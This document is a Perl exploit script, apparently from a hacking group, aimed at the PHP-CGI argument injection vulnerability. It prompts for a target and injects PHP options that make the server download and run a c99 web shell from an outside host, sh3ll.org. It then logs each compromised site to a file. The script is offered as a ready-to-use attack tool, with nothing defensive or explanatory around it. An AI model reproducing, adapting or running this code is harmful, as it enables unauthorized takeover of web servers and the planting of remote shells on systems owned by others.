PHP CGI ARG xPloiter

#/!/usr/bin/perl
##################################################################
#:::====  :::===== :::  === ::: === ===
#   ===   ======   ======== === === ===
#   ===   ===      ===  === ===     ===
#   ===   ======== ===  === ===     ===

# :::=======  :::====  :::===  :::==== :::====
# ::: === === :::  === :::     :::==== :::  ===
# === === === ===  ===  =====    ===   ========
# ===     === ===  ===     ===   ===   ===  ===
# ===     ===  ======  ======    ===   ===  ===
# / Gr33tz to M-Cod3r , CoupDeGrace , Ma3str0-Dz , Boualem , xMjhad , tn_pirate , Khaled , Saber /
##################################################################

use LWP::UserAgent;
use HTTP::Request;
use Term::ANSIColor;
my $ua = LWP::UserAgent->new();
$ua ->timeout(15);
system('cls');
system('title PHP CGI ARG Xploiter');
print color("green"), "\t[+] # PHP CGI ARG xPLoiter# [+]\n";
print color("green"), "\t# by CrashBandicot From TeaM MosTa#\n";
print color("green"), "Enter Target:";
$target =<STDIN>;
chomp($target);

  my $targettt = "http://".$target if ($target !~ m/http:\/\//);
  my $test = $targettt."/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://www.sh3ll.org/c99.txt%20-n";
  my $request = HTTP::Request -> new (GET => $test);
  my $response = $ua -> request ( $request );

if( $response -> content =~ /c99shell/ || /c99/ || /shell/)
 {
   open(x,">>fucked.txt");
   print x "$targettt\n";
   close(x);
   print "\n Target Vuln3rabl3 -- Shell uploaded\n\n";
   print color("red"), "[+] $test\n\n";

}

else {
    print "\n\n  Target: $targettt not Vuln3r4bl3 :/ \n\n" ;
}